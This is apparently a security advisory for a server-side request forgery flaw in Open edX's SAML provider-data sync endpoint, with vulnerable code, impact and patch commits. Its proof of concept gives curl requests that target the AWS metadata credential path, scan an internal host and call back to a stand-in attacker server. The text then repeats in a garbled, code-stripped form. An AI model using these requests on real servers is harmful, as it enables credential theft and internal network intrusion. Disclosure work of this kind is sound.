Summary
The sync_provider_data endpoint in SAMLProviderDataViewSet allows authenticated Enterprise Admin users to supply an arbitrary URL via the metadata_url POST parameter. This URL is passed directly to requests.get() in fetch_metadata_xml() without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS 169.254.169.254), or other attacker-controlled destinations.
Details
Vulnerable code path:
In common/djangoapps/third_party_auth/samlproviderdata/views.py, the sync_provider_data action reads the URL directly from user input:
@action(detail=False, methods=['post', 'put'])
def sync_provider_data(self, request):
entity_id = request.POST.get('entity_id')
metadata_url = request.POST.get('metadata_url') # User-controlled
# ...
if metadata_url:
try:
xml = fetch_metadata_xml(metadata_url) # Passes to requests.get()
except (SSLError, MissingSchema, HTTPError) as ex:
msg = f'Could not verify provider metadata url. Exc type: {type(ex).__name__}'
return Response(msg, status.HTTP_406_NOT_ACCEPTABLE)
In common/djangoapps/third_party_auth/utils.py, the fetch_metadata_xml() function performs no URL validation:
def fetch_metadata_xml(url):
try:
log.info("Fetching %s", url)
if not url.lower().startswith('https'):
log.warning("This SAML metadata URL is not secure! (%s)", url)
response = requests.get(url, verify=True) # SSRF - No IP/scheme validation
response.raise_for_status()
Missing protections:
- No blocking of internal/private IP ranges (
127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- No blocking of cloud metadata link-local addresses (
169.254.0.0/16)
- No URL scheme enforcement (HTTP allowed despite log warning)
- No DNS rebinding protection
- No request timeout configured
RCE Escalation: In cloud environments (AWS/GCP/Azure), this SSRF can be escalated to Remote Code Execution by accessing instance metadata services to steal IAM credentials, which can then be used to execute commands on cloud infrastructure via EC2, Lambda, or SSM APIs.
PoC
Prerequisites:
- Authenticated user with
ENTERPRISE_ADMIN_ROLE for any enterprise customer
- Enterprise customer with a SAML Identity Provider configured
Step 1: Access cloud metadata (AWS example)
curl -X POST 'https://<openedx-instance>/auth/saml/v0/provider_data/sync_provider_data' \
-H 'Authorization: Bearer <JWT_TOKEN>' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'entity_id=test-entity' \
-d 'metadata_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
-d 'enterprise_customer_uuid=<ENTERPRISE_UUID>'
The server makes the request to the AWS metadata endpoint. Although the response fails XML parsing, the HTTP request is made, and timing/error differences confirm reachability.
Step 2: Internal network scanning
curl -X POST 'https://<openedx-instance>/auth/saml/v0/provider_data/sync_provider_data' \
-H 'Authorization: Bearer <JWT_TOKEN>' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'entity_id=test-entity' \
-d 'metadata_url=http://10.0.0.1:8080/' \
-d 'enterprise_customer_uuid=<ENTERPRISE_UUID>'
Timing differences and distinct error responses reveal whether internal hosts and ports are reachable.
Step 3: Attacker-controlled callback for data exfiltration
curl -X POST 'https://<openedx-instance>/auth/saml/v0/provider_data/sync_provider_data' \
-H 'Authorization: Bearer <JWT_TOKEN>' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'entity_id=test-entity' \
-d 'metadata_url=https://attacker-server.com/ssrf-callback' \
-d 'enterprise_customer_uuid=<ENTERPRISE_UUID>'
The attacker's server receives a request from the Open edX server, confirming SSRF and revealing the server's outbound IP address and request headers.
Impact
An authenticated Enterprise Admin can exploit this SSRF to:
- Steal cloud credentials: Access AWS/GCP/Azure instance metadata to obtain IAM temporary credentials, potentially leading to full cloud infrastructure compromise and Remote Code Execution.
- Scan internal networks: Enumerate internal services, ports, and infrastructure topology behind firewalls.
- Access internal APIs: Reach internal services (databases, admin panels, microservices) not exposed to the internet.
- Information disclosure: Error messages and timing differences leak information about the internal network.
Enterprise Admin is a delegated role (not platform superuser) typically granted to corporate training managers. This role should not grant the ability to access internal network resources or cloud credentials. The SSRF represents a significant privilege escalation beyond the role's intended scope.
Patches
The fix landed in the following commits:
Summary
The
sync_provider_dataendpoint inSAMLProviderDataViewSetallows authenticated Enterprise Admin users to supply an arbitrary URL via themetadata_urlPOST parameter. This URL is passed directly torequests.get()infetch_metadata_xml()without any URL validation, IP filtering, or scheme enforcement. An attacker with Enterprise Admin privileges can force the server to make HTTP requests to internal network services, cloud metadata endpoints (e.g., AWS169.254.169.254), or other attacker-controlled destinations.Details
Vulnerable code path:
In
common/djangoapps/third_party_auth/samlproviderdata/views.py, thesync_provider_dataaction reads the URL directly from user input:In
common/djangoapps/third_party_auth/utils.py, thefetch_metadata_xml()function performs no URL validation:Missing protections:
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)169.254.0.0/16)RCE Escalation: In cloud environments (AWS/GCP/Azure), this SSRF can be escalated to Remote Code Execution by accessing instance metadata services to steal IAM credentials, which can then be used to execute commands on cloud infrastructure via EC2, Lambda, or SSM APIs.
PoC
Prerequisites:
ENTERPRISE_ADMIN_ROLEfor any enterprise customerStep 1: Access cloud metadata (AWS example)
The server makes the request to the AWS metadata endpoint. Although the response fails XML parsing, the HTTP request is made, and timing/error differences confirm reachability.
Step 2: Internal network scanning
Timing differences and distinct error responses reveal whether internal hosts and ports are reachable.
Step 3: Attacker-controlled callback for data exfiltration
The attacker's server receives a request from the Open edX server, confirming SSRF and revealing the server's outbound IP address and request headers.
Impact
An authenticated Enterprise Admin can exploit this SSRF to:
Enterprise Admin is a delegated role (not platform superuser) typically granted to corporate training managers. This role should not grant the ability to access internal network resources or cloud credentials. The SSRF represents a significant privilege escalation beyond the role's intended scope.
Patches
The fix landed in the following commits:
master: 70a56246ddrelease/ulmo: 6291b6badd